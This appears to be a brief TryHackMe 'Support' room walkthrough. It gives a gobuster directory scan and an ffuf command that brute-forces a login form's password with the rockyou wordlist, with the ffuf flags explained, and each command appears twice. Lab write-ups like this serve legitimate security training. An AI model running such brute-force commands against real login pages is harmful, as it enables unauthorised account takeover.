Support | TryHackMe | Walkthrough

gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,zip,js

gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,zip,js

Brute force Login Page

ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "email=help@support.thm&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.48.168.125 -fs 2678

ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "email=help@support.thm&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.48.168.125 -fs 2678

-w /usr/share/wordlists/rockyou.txt → Uses the rockyou.txt wordlist as the source of passwords to test.
-X POST → Sends requests using the HTTP POST method.
-d "email=help@support.thm&password=FUZZ" → The FUZZ keyword is replaced with each password from the wordlist while keeping the email fixed.
-H "Content-Type: application/x-www-form-urlencoded" → Sets the header to indicate form data submission.
**-u http://**TARGET_IP → Target URL.
-fs 2678 → Filters out responses that have a size of 2678 bytes (to ignore "failed login" responses and highlight different ones).